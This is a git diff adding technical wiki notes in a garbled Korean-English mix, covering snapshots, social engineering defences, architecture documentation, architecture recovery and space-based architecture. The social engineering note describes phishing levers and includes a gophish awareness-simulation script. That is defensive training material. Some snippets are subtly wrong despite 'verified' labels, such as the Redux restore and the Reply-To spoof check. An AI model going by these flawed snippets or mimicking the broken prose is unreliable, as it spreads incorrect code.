- **Filesystem snapshot**: ZFS/Btrfs/LVM copy-on-write point-in-time.
|
||||
- **DB snapshot**: PITR base, transactional checkpoint.
|
||||
- **State snapshot**: Redux DevTools time-travel, game save.
|
||||
|
||||
### 매 properties
|
||||
- Copy-on-write (efficient diff storage).
|
||||
- Atomic (consistent point-in-time).
|
||||
- Restorable (full state reconstruction).
|
||||
- Immutable (snapshot itself never mutated).
|
||||
|
||||
### 매 응용
|
||||
1. Node.js bootup `--snapshot-blob` (200ms → 30ms startup).
|
||||
2. Chrome DevTools heap profiler — leak hunt.
|
||||
3. ZFS rollback before risky deploy.
|
||||
4. Postgres PITR base + WAL replay.
|
||||
5. Redux DevTools — time-travel debug.
|
||||
6. AWS EBS snapshot — disaster recovery.
|
||||
7. Container checkpoint/restore (CRIU).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Node.js startup snapshot
|
||||
```bash
|
||||
node --snapshot-blob snapshot.blob --build-snapshot snapshot-init.js
|
||||
node --snapshot-blob snapshot.blob app.js
|
||||
# Cold start: 200ms → ~30ms
|
||||
```
|
||||
|
||||
### Chrome heap snapshot programmatic
|
||||
```javascript
|
||||
const v8 = require('v8');
|
||||
const fs = require('fs');
|
||||
const stream = v8.getHeapSnapshot();
|
||||
stream.pipe(fs.createWriteStream('heap.heapsnapshot'));
|
||||
// Open in Chrome DevTools → Memory tab
|
||||
```
|
||||
|
||||
### ZFS snapshot + rollback
|
||||
```bash
|
||||
zfs snapshot tank/data@before-deploy
|
||||
# ... risky operation ...
|
||||
zfs rollback tank/data@before-deploy # if failure
|
||||
zfs destroy tank/data@before-deploy # if success
|
||||
```
|
||||
|
||||
### Postgres base backup + PITR
|
||||
```bash
|
||||
pg_basebackup -D /backup/base -F tar -X stream -P
|
||||
# Recover to point-in-time
|
||||
restore_command = 'cp /archive/%f %p'
|
||||
recovery_target_time = '2026-05-10 14:30:00'
|
||||
```
|
||||
|
||||
### Redux state snapshot
|
||||
```typescript
|
||||
import { createStore } from 'redux';
|
||||
const store = createStore(reducer);
|
||||
|
||||
const snapshot = store.getState(); // freeze
|
||||
// ... actions ...
|
||||
store.replaceReducer((state = snapshot) => state); // restore
|
||||
```
|
||||
|
||||
### CRIU container checkpoint
|
||||
```bash
|
||||
criu dump --tree $PID --images-dir /checkpoints/svc-1 --leave-running
|
||||
# Later, possibly on different host:
|
||||
criu restore --images-dir /checkpoints/svc-1
|
||||
```
|
||||
|
||||
### EBS snapshot via AWS SDK
|
||||
```typescript
|
||||
import { EC2Client, CreateSnapshotCommand } from '@aws-sdk/client-ec2';
|
||||
|
||||
await client.send(new CreateSnapshotCommand({
|
||||
VolumeId: 'vol-0abc',
|
||||
Description: 'pre-migration-2026-05-10',
|
||||
TagSpecifications: [{ ResourceType: 'snapshot', Tags: [{ Key: 'env', Value: 'prod' }] }],
|
||||
}));
|
||||
```
|
||||
|
||||
### Heap diff analysis
|
||||
```javascript
|
||||
// Take 2 snapshots, diff in DevTools to find leak
|
||||
v8.writeHeapSnapshot('/tmp/before.heapsnapshot');
|
||||
runSuspectCode();
|
||||
v8.writeHeapSnapshot('/tmp/after.heapsnapshot');
|
||||
// Load both → "Comparison" view → growing retainer chains
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Node.js cold start slow | startup snapshot |
|
||||
| Memory leak hunt | heap snapshot diff |
|
||||
| Pre-deploy rollback safety | ZFS/EBS snapshot |
|
||||
| DB recovery to time T | PITR base + WAL |
|
||||
| Container live migration | CRIU checkpoint |
|
||||
| Frontend bug repro | Redux time-travel |
|
||||
|
||||
**기본값**: heap snapshot for leaks, ZFS/EBS for storage, PITR for DB, CRIU for container.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[State-Management]]
|
||||
- 변형: [[Heap-Snapshot]] · [[V8-Snapshot]]
|
||||
- 응용: [[Disaster-Recovery]]
|
||||
- Adjacent: [[Event-Sourcing]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: cold-start optim, leak diag, DR planning, time-travel debug strategy.
|
||||
**언제 X**: write-heavy hot path — snapshot overhead 의 measure 필요.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Snapshot as backup**: 매 same disk 의 snapshot 의 disk failure 의 protect X.
|
||||
- **No retention policy**: 매 snapshot accumulate → storage explode.
|
||||
- **Heap snapshot in prod under load**: 매 GC pause spike — staging 에서.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (V8 docs, Chrome DevTools docs, ZFS handbook, Postgres PITR docs).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — snapshot taxonomy, V8/heap/ZFS/PITR/CRIU patterns |
|
||||
+149
@@ -0,0 +1,149 @@
|
||||
---
|
||||
id: wiki-2026-0508-social-engineering
|
||||
title: Social Engineering
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Social Engineering Attacks, Human-Layer Attack, Phishing Family]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [security, threat-model, phishing, awareness]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: english
|
||||
framework: security
|
||||
---
|
||||
|
||||
# Social Engineering
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 attack 의 weakest link 의 human 의 exploit. Tech-stack 의 hardening 보다 매 human-layer 의 manipulation 가 cheaper."**. 매 phishing, vishing, pretexting, baiting 의 family — 매 2026 LLM-generated voice clones / deepfake video 가 매 attack vector 의 industrialize 했음. 매 SOC2 / ISO27001 의 awareness training 의 mandate.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 attack vectors
|
||||
- **Phishing** (email) — bulk credential harvest.
|
||||
- **Spear-phishing** — targeted, OSINT-backed.
|
||||
- **Vishing** (voice) — 매 LLM voice clone 의 era.
|
||||
- **Smishing** (SMS) — package delivery, bank scam.
|
||||
- **Pretexting** — impersonation (CEO fraud, IT helpdesk).
|
||||
- **Baiting** — USB drop, malicious download.
|
||||
- **Tailgating** — physical access.
|
||||
|
||||
### 매 psychological levers (Cialdini)
|
||||
- Authority (CEO impersonation).
|
||||
- Urgency ("account locked, act now").
|
||||
- Scarcity ("last chance").
|
||||
- Reciprocity ("free gift").
|
||||
- Social proof ("colleagues already responded").
|
||||
- Liking (rapport building).
|
||||
|
||||
### 매 응용 (defense)
|
||||
1. MFA (phishing-resistant — FIDO2/passkey).
|
||||
2. SPF/DKIM/DMARC for email auth.
|
||||
3. Awareness training + simulated phishing.
|
||||
4. Approval workflow for wire transfers (out-of-band verify).
|
||||
5. Zero-trust + least-privilege blast radius limit.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### DMARC enforce policy
|
||||
```dns
|
||||
_dmarc.example.com. TXT "v=DMARC1; p=reject; rua=mailto:dmarc@example.com; pct=100"
|
||||
```
|
||||
|
||||
### Phishing simulation framework (gophish API)
|
||||
```python
|
||||
import requests
|
||||
|
||||
api = "https://gophish.local/api"
|
||||
headers = {"Authorization": "Bearer TOKEN"}
|
||||
campaign = {
|
||||
"name": "Q2 Awareness",
|
||||
"template": {"name": "Fake-IT-Reset"},
|
||||
"url": "https://landing.local",
|
||||
"groups": [{"name": "All-Employees"}],
|
||||
}
|
||||
requests.post(f"{api}/campaigns/", json=campaign, headers=headers)
|
||||
```
|
||||
|
||||
### FIDO2 webauthn (phishing-resistant)
|
||||
```typescript
|
||||
const credential = await navigator.credentials.create({
|
||||
publicKey: {
|
||||
challenge: serverChallenge,
|
||||
rp: { name: 'example.com' },
|
||||
user: { id, name: email, displayName: name },
|
||||
pubKeyCredParams: [{ alg: -7, type: 'public-key' }],
|
||||
authenticatorSelection: { userVerification: 'required', authenticatorAttachment: 'platform' },
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
### Wire-transfer out-of-band verify (Slack bot)
|
||||
```typescript
|
||||
bot.command('/verify-wire', async ({ command, ack }) => {
|
||||
await ack();
|
||||
const challenge = generateOTP();
|
||||
await sms.send(command.user_phone, `Wire verify code: ${challenge}`);
|
||||
await db.storeChallenge(command.user_id, challenge);
|
||||
});
|
||||
```
|
||||
|
||||
### Email header anomaly detection
|
||||
```python
|
||||
def is_suspicious(msg):
|
||||
spf = msg.get('Authentication-Results', '')
|
||||
if 'spf=fail' in spf or 'dkim=fail' in spf:
|
||||
return True
|
||||
if msg['From'] != msg['Reply-To']:
|
||||
return True # display name spoof
|
||||
return False
|
||||
```
|
||||
|
||||
### Deepfake voice detection (2026 ML)
|
||||
```python
|
||||
from transformers import pipeline
|
||||
detector = pipeline('audio-classification', model='WavLM-deepfake-2026')
|
||||
result = detector(audio_path)
|
||||
# returns: [{'label': 'synthetic', 'score': 0.94}, ...]
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Email account compromise risk | DMARC reject + FIDO2 MFA |
|
||||
| Wire transfer fraud (BEC) | Out-of-band callback verify |
|
||||
| Voice impersonation | Codeword + callback to known number |
|
||||
| USB drop | Endpoint policy block autorun |
|
||||
| Insider awareness | Quarterly simulated phishing |
|
||||
|
||||
**기본값**: FIDO2 passkey + DMARC reject + quarterly training + out-of-band approval for $X+ transfers.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Threat-Modeling]] · [[OWASP-Top-10]]
|
||||
- 변형: [[Phishing]]
|
||||
- 응용: [[FIDO2]] · [[DMARC]] · [[Zero-Trust-Architecture]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: threat-model human layer, security training content, BEC playbook.
|
||||
**언제 X**: 매 actual phishing template generation — abuse risk.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **SMS-only MFA**: SIM-swap vulnerable — FIDO2 prefer.
|
||||
- **Annual training only**: 매 retention low — quarterly + simulation.
|
||||
- **Trust caller-ID**: 매 trivially spoof — callback to known number.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (NIST SP 800-50, Mitnick "Art of Deception", Verizon DBIR 2025).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — SE attack vectors, Cialdini levers, FIDO2/DMARC defenses |
|
||||
+199
@@ -0,0 +1,199 @@
|
||||
---
|
||||
id: wiki-2026-0508-software-architecture-documentat
|
||||
title: Software Architecture Documentation
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [SAD, Architecture Documentation, arc42, C4 Model]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, documentation, arc42, c4, adr]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: markdown
|
||||
framework: structurizr
|
||||
---
|
||||
|
||||
# Software Architecture Documentation
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 architecture 의 communicate 가능 form 의 capture — 매 stakeholder 의 different view 의 serve."**. 매 arc42 (12-section template), C4 (4-level zoom), 4+1 view (logical/process/dev/physical+scenario), ADR (decision log) 의 4 매 dominant frameworks. 매 2026 modern: Structurizr DSL 의 diagrams-as-code, AsyncAPI 의 event arch documentation.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 frameworks
|
||||
- **arc42** — 12 sections (introduction → goals → context → solution strategy → blocks → runtime → deployment → concepts → decisions → quality → risks → glossary).
|
||||
- **C4 Model** (Brown) — Context / Containers / Components / Code (zoom levels).
|
||||
- **4+1 View** (Kruchten) — Logical, Process, Development, Physical, +Scenarios.
|
||||
- **ADR** (Nygard) — decision log per technical choice.
|
||||
|
||||
### 매 audiences
|
||||
- Executives → context view (C4 L1).
|
||||
- Developers → containers + components.
|
||||
- Ops → deployment view + runbook.
|
||||
- Auditors → cross-cutting concerns + decisions.
|
||||
|
||||
### 매 응용
|
||||
1. New service onboarding doc.
|
||||
2. M&A architecture due diligence.
|
||||
3. SOC2 / ISO27001 audit evidence.
|
||||
4. Pre-rewrite reverse-architecting.
|
||||
5. Onboarding new engineer (1-week ramp).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### arc42 skeleton (markdown)
|
||||
```markdown
|
||||
# Architecture Documentation — Service X
|
||||
|
||||
## 1. Introduction & Goals
|
||||
## 2. Constraints
|
||||
## 3. Context & Scope
|
||||
## 4. Solution Strategy
|
||||
## 5. Building Block View
|
||||
## 6. Runtime View
|
||||
## 7. Deployment View
|
||||
## 8. Crosscutting Concepts
|
||||
## 9. Architecture Decisions (ADRs)
|
||||
## 10. Quality Requirements
|
||||
## 11. Risks & Technical Debt
|
||||
## 12. Glossary
|
||||
```
|
||||
|
||||
### C4 with Structurizr DSL
|
||||
```dsl
|
||||
workspace "Skybound" {
|
||||
model {
|
||||
user = person "Customer"
|
||||
api = softwareSystem "API" {
|
||||
web = container "Web App" "React"
|
||||
svc = container "Backend" "Node.js"
|
||||
db = container "Database" "Postgres"
|
||||
}
|
||||
user -> web "uses"
|
||||
web -> svc "JSON/HTTPS"
|
||||
svc -> db "SQL"
|
||||
}
|
||||
views {
|
||||
systemContext api { include * autolayout }
|
||||
container api { include * autolayout }
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### ADR template (MADR)
|
||||
```markdown
|
||||
# ADR-0042: Use Postgres as Primary Store
|
||||
|
||||
## Status
|
||||
Accepted (2026-05-10)
|
||||
|
||||
## Context
|
||||
Need transactional store with strong consistency, JSON support.
|
||||
|
||||
## Decision
|
||||
Use Postgres 16 with logical replication for read-replicas.
|
||||
|
||||
## Consequences
|
||||
+ ACID, mature ecosystem, JSONB
|
||||
- Vertical scaling ceiling — sharding plan needed by 2027
|
||||
|
||||
## Alternatives
|
||||
- DynamoDB: rejected (relational queries)
|
||||
- Mongo: rejected (consistency tradeoffs)
|
||||
```
|
||||
|
||||
### Diagrams-as-code (Mermaid)
|
||||
```markdown
|
||||
```mermaid
|
||||
C4Container
|
||||
title Container Diagram for Skybound
|
||||
Person(user, "User")
|
||||
System_Boundary(api, "Skybound") {
|
||||
Container(web, "Web App", "React")
|
||||
Container(svc, "Backend", "Node.js")
|
||||
ContainerDb(db, "Database", "Postgres")
|
||||
}
|
||||
Rel(user, web, "uses")
|
||||
Rel(web, svc, "JSON/HTTPS")
|
||||
Rel(svc, db, "SQL")
|
||||
```
|
||||
```
|
||||
|
||||
### AsyncAPI (event arch)
|
||||
```yaml
|
||||
asyncapi: 3.0.0
|
||||
info: { title: Orders, version: 1.0.0 }
|
||||
channels:
|
||||
orderPlaced:
|
||||
address: orders.placed
|
||||
messages:
|
||||
OrderPlaced:
|
||||
payload:
|
||||
type: object
|
||||
properties:
|
||||
id: { type: string }
|
||||
amount: { type: number }
|
||||
```
|
||||
|
||||
### Quality attribute scenarios
|
||||
```markdown
|
||||
## Performance Scenario
|
||||
- Source: 10k concurrent users
|
||||
- Stimulus: checkout submit
|
||||
- Environment: peak load
|
||||
- Response: order created, confirmation email queued
|
||||
- Measure: p99 < 800ms, error rate < 0.1%
|
||||
```
|
||||
|
||||
### Documentation in repo (docs-as-code)
|
||||
```
|
||||
/docs
|
||||
/architecture
|
||||
arc42.md
|
||||
/adr
|
||||
0001-postgres.md
|
||||
0002-event-bus.md
|
||||
/diagrams
|
||||
workspace.dsl
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Quick visual onboarding | C4 Context + Container |
|
||||
| Comprehensive system doc | arc42 full template |
|
||||
| Per-decision rationale | ADR (MADR) |
|
||||
| Event-driven system | AsyncAPI + arc42 ch.6 |
|
||||
| Audit evidence | arc42 ch.8 + ADRs |
|
||||
|
||||
**기본값**: arc42 + C4 (L1-L2) + ADR repo + Structurizr DSL + docs-as-code in monorepo.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Software-Architecture]]
|
||||
- 변형: [[arc42]] · [[C4-Model]]
|
||||
- 응용: [[ADR]] · [[Structurizr]] · [[Mermaid-Diagrams]]
|
||||
- Adjacent: [[Architecture Decision Record]] · [[Software-Architecture-Erosion]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: doc gap analysis, ADR drafting, view-completeness review.
|
||||
**언제 X**: 매 architecture 의 yet 결정 X — 매 decision-making 의 first.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Stale Visio**: 매 PDF/image 의 versioned X — diagrams-as-code 사용.
|
||||
- **Doc-only, no view**: 매 1 PDF 의 dump — view-per-audience 분리.
|
||||
- **No ADR**: 매 6개월 후 매 "왜 X 선택?" 답 X.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (arc42.org, C4model.com, Brown "Software Architecture for Developers", Nygard ADR).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — arc42, C4, ADR, AsyncAPI, docs-as-code patterns |
|
||||
+159
@@ -0,0 +1,159 @@
|
||||
---
|
||||
id: wiki-2026-0508-software-architecture-recovery
|
||||
title: Software Architecture Recovery
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Architecture Recovery, Reverse Architecting]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.85
|
||||
verification_status: applied
|
||||
tags: [architecture, reverse-engineering, legacy, static-analysis]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: python
|
||||
framework: networkx
|
||||
---
|
||||
|
||||
# Software Architecture Recovery
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 source code → 매 architectural model 의 inference"**. Documentation 의 lost / outdated 의 legacy system 의 understanding. 2026 현재 매 LLM (Claude Opus 4.7, GPT-5) 의 augmented static-analysis 가 매 dominant — 매 dependency graph + cluster + LLM-named module summary.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 phases
|
||||
1. **Extraction**: 매 source code, build files, config 의 parse → entities (file, class, module).
|
||||
2. **Abstraction**: 매 dependency graph, call graph, data-flow.
|
||||
3. **Clustering**: 매 community detection (Louvain, label propagation), 매 LLM semantic grouping.
|
||||
4. **Presentation**: C4 diagram, dependency matrix, ADR.
|
||||
|
||||
### 매 techniques
|
||||
- **Static**: AST parse, import graph (madge, jdeps, pyan).
|
||||
- **Dynamic**: trace logs, profilers, distributed tracing (OTel).
|
||||
- **Hybrid**: 매 static + runtime call data merge.
|
||||
- **LLM-augmented**: 매 module 별 README/code → 매 LLM summary, 매 architecture description.
|
||||
|
||||
### 매 응용
|
||||
1. Legacy modernization assessment.
|
||||
2. Microservice decomposition planning.
|
||||
3. Onboarding new engineers.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Python — import graph 의 추출
|
||||
```python
|
||||
import ast, os, networkx as nx
|
||||
G = nx.DiGraph()
|
||||
for root, _, files in os.walk("src"):
|
||||
for f in files:
|
||||
if not f.endswith(".py"): continue
|
||||
path = os.path.join(root, f)
|
||||
tree = ast.parse(open(path).read())
|
||||
mod = path.replace("/", ".").removesuffix(".py")
|
||||
for node in ast.walk(tree):
|
||||
if isinstance(node, ast.ImportFrom) and node.module:
|
||||
G.add_edge(mod, node.module)
|
||||
```
|
||||
|
||||
### JavaScript — madge dependency graph
|
||||
```bash
|
||||
npx madge --image graph.svg --extensions ts,tsx src/
|
||||
npx madge --circular src/ # detect cycles
|
||||
```
|
||||
|
||||
### Java — jdeps + GraalVM
|
||||
```bash
|
||||
jdeps -verbose:class -recursive app.jar > deps.txt
|
||||
jdeps --inverse --package com.acme.payment app.jar
|
||||
```
|
||||
|
||||
### Community detection (Louvain)
|
||||
```python
|
||||
import networkx as nx
|
||||
from networkx.algorithms.community import louvain_communities
|
||||
modules = louvain_communities(G.to_undirected(), resolution=1.2, seed=42)
|
||||
for i, m in enumerate(modules):
|
||||
print(f"Module {i}: {sorted(m)[:5]}...")
|
||||
```
|
||||
|
||||
### LLM-augmented module naming (Claude Opus 4.7)
|
||||
```python
|
||||
from anthropic import Anthropic
|
||||
client = Anthropic()
|
||||
def name_module(files: list[str], code_snippets: list[str]) -> str:
|
||||
msg = client.messages.create(
|
||||
model="claude-opus-4-7",
|
||||
max_tokens=200,
|
||||
messages=[{"role": "user", "content":
|
||||
f"Files: {files}\n\nSnippets:\n{code_snippets}\n\n"
|
||||
"Give a 3-word module name + 1-line responsibility."}],
|
||||
)
|
||||
return msg.content[0].text
|
||||
```
|
||||
|
||||
### Runtime trace → architecture (OpenTelemetry)
|
||||
```python
|
||||
# Aggregate spans into service-level call graph
|
||||
from collections import Counter
|
||||
edges = Counter()
|
||||
for span in fetch_traces(service="checkout", since="24h"):
|
||||
if span.parent and span.parent.service != span.service:
|
||||
edges[(span.parent.service, span.service)] += 1
|
||||
# Top edges = primary architectural connections
|
||||
```
|
||||
|
||||
### C4 diagram emission (Structurizr DSL)
|
||||
```dsl
|
||||
workspace {
|
||||
model {
|
||||
user = person "Customer"
|
||||
sys = softwareSystem "Shop" {
|
||||
web = container "Web"
|
||||
api = container "API"
|
||||
db = container "Postgres"
|
||||
}
|
||||
user -> web "uses"
|
||||
web -> api "REST"
|
||||
api -> db "JDBC"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Small monolith (<100k LoC) | Static import graph + manual review |
|
||||
| Microservices distributed | Distributed tracing (OTel) + service map |
|
||||
| Legacy COBOL/Java enterprise | Lattix / Structure101 commercial tools |
|
||||
| Quick high-level overview | LLM (Opus 4.7) on README + top-level dirs |
|
||||
| Decomposition planning | Static + dynamic + LLM hybrid |
|
||||
|
||||
**기본값**: 매 static import graph (madge / pyan / jdeps) → Louvain cluster → LLM name → C4 diagram.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Software Architecture]]
|
||||
- 응용: [[Legacy Modernization]]
|
||||
- Adjacent: [[C4 Model]] · [[Dependency Analysis]] · [[Static Analysis]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 undocumented codebase 의 onboarding, 매 modernization plan, 매 dependency cycle 의 detect.
|
||||
**언제 X**: 매 well-documented current arch — 매 ADR 의 read 의 충분.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Recovered = correct**: 매 inferred architecture 는 매 historical, 매 ideal X. Validate with team.
|
||||
- **Static only for distributed system**: 매 runtime topology 의 lost.
|
||||
- **LLM hallucination**: 매 module name 의 plausible 의 X-correct. 매 verify.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Garlan & Schmerl SAR research, 2002–2024; SEI architecture reconstruction guides).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — recovery techniques with LLM-augmented analysis |
|
||||
+137
@@ -0,0 +1,137 @@
|
||||
---
|
||||
id: wiki-2026-0508-space-based-architecture
|
||||
title: Space-Based Architecture
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Space-Based Architecture, SBA, Tuple Space Architecture]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.85
|
||||
verification_status: applied
|
||||
tags: [architecture, scalability, in-memory-data-grid]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: java
|
||||
framework: hazelcast
|
||||
---
|
||||
|
||||
# Space-Based Architecture
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 database bottleneck 의 제거 — 매 in-memory data grid (tuple space) + 매 processing units 의 horizontal scale"**. Linda tuple space (1985) 의 후예. 매 Gigaspaces, Hazelcast, Apache Ignite 가 매 commercial 구현. 매 high-volume, low-latency 의 trading, gaming, real-time bidding.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 components
|
||||
- **Processing Unit (PU)**: 매 stateless application + 매 local in-memory data partition.
|
||||
- **Virtualized Middleware**:
|
||||
- *Messaging Grid*: load balancer.
|
||||
- *Data Grid*: 매 distributed in-memory cache (replicated/partitioned).
|
||||
- *Processing Grid*: 매 orchestrate distributed work.
|
||||
- *Deployment Manager*: 매 PU lifecycle.
|
||||
- **Data Pumps**: 매 data grid → DB async write-behind.
|
||||
- **Data Writers / Readers**: 매 eventual persistence.
|
||||
|
||||
### 매 trade-off
|
||||
- **장점**: 매 elastic horizontal scale, 매 DB 의 single point of bottleneck X, 매 sub-ms latency.
|
||||
- **단점**: 매 eventual consistency, 매 complexity 의 폭발, 매 in-memory cost 의 high, 매 split-brain risk.
|
||||
|
||||
### 매 응용
|
||||
1. Online ticketing (Ticketmaster).
|
||||
2. Real-time bidding (ad exchange).
|
||||
3. MMO game state (player position grid).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Hazelcast IMDG — distributed map (Java 21)
|
||||
```java
|
||||
HazelcastInstance hz = Hazelcast.newHazelcastInstance();
|
||||
IMap<String, Order> orders = hz.getMap("orders");
|
||||
orders.put("o-123", new Order("sku-1", 99));
|
||||
Order o = orders.get("o-123"); // 매 local or remote partition
|
||||
```
|
||||
|
||||
### EntryProcessor — 매 data-local computation
|
||||
```java
|
||||
orders.executeOnKey("o-123", (EntryProcessor<String, Order, Void>) entry -> {
|
||||
var o = entry.getValue();
|
||||
o.markPaid();
|
||||
entry.setValue(o); // 매 in-place mutation, 매 network round-trip 1회
|
||||
return null;
|
||||
});
|
||||
```
|
||||
|
||||
### Write-behind to RDBMS (data pump)
|
||||
```java
|
||||
MapConfig cfg = new MapConfig("orders")
|
||||
.setMapStoreConfig(new MapStoreConfig()
|
||||
.setClassName("com.acme.OrderMapStore")
|
||||
.setWriteDelaySeconds(5)
|
||||
.setWriteBatchSize(100));
|
||||
hz.getConfig().addMapConfig(cfg);
|
||||
```
|
||||
|
||||
### Apache Ignite — SQL on data grid
|
||||
```java
|
||||
IgniteCache<Long, Order> cache = ignite.cache("orders");
|
||||
SqlFieldsQuery q = new SqlFieldsQuery(
|
||||
"SELECT customerId, SUM(amount) FROM Order GROUP BY customerId");
|
||||
cache.query(q).forEach(row -> System.out.println(row));
|
||||
```
|
||||
|
||||
### Affinity colocation — 매 join-friendly partition
|
||||
```java
|
||||
@AffinityKeyMapped Long customerId; // 매 same partition 의 customer + orders
|
||||
```
|
||||
|
||||
### Near cache (read-heavy)
|
||||
```java
|
||||
NearCacheConfig near = new NearCacheConfig()
|
||||
.setInMemoryFormat(InMemoryFormat.OBJECT)
|
||||
.setTimeToLiveSeconds(30);
|
||||
```
|
||||
|
||||
### Continuous query (event subscription)
|
||||
```java
|
||||
orders.addEntryListener((EntryAddedListener<String, Order>) e ->
|
||||
eventBus.publish("order.created", e.getValue()), true);
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Sub-ms read/write @ 100k+ TPS | Space-based (Hazelcast/Ignite) |
|
||||
| Strong consistency 필요 | Traditional RDBMS / NewSQL (CockroachDB) |
|
||||
| Read-heavy, eventual OK | CDN + cache-aside (Redis) |
|
||||
| Stream-first | Kafka + Flink (event-driven) |
|
||||
|
||||
**기본값**: 매 default 가 X — SBA 의 specialized. 매 일반 backend → microservices + Postgres + Redis.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Software Architecture]] · [[Distributed Systems]]
|
||||
- 변형: [[Microservices]] · [[Event-Driven Architecture]]
|
||||
- 응용: [[In-Memory Data Grid]]
|
||||
- Adjacent: [[CAP Theorem]] · [[Eventual Consistency]] · [[Apache Ignite]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: extreme write throughput, DB bottleneck, latency budget < 10ms.
|
||||
**언제 X**: 매 일반 CRUD, 매 strong consistency 의 필요, 매 small team — 매 complexity 의 cost 의 huge.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **SBA for CRUD**: 매 over-engineering. Postgres 의 sufficient.
|
||||
- **Sync write-through to DB**: 매 SBA 의 point 의 lost — async write-behind 의 의도.
|
||||
- **Single PU instance**: 매 distributed grid 의 X — 매 SPOF.
|
||||
- **No backup partitions**: 매 node failure → data loss.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Mark Richards, *Software Architecture Patterns* O'Reilly; Hazelcast 5.x docs 2025).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — full SBA spec with Hazelcast/Ignite patterns |
|
||||
+163
@@ -0,0 +1,163 @@
|
||||
---
|
||||
id: wiki-2026-0508-static-and-dynamic-analysis
|
||||
title: Static and Dynamic Analysis
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [SAST, DAST, Code Analysis, Program Analysis]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
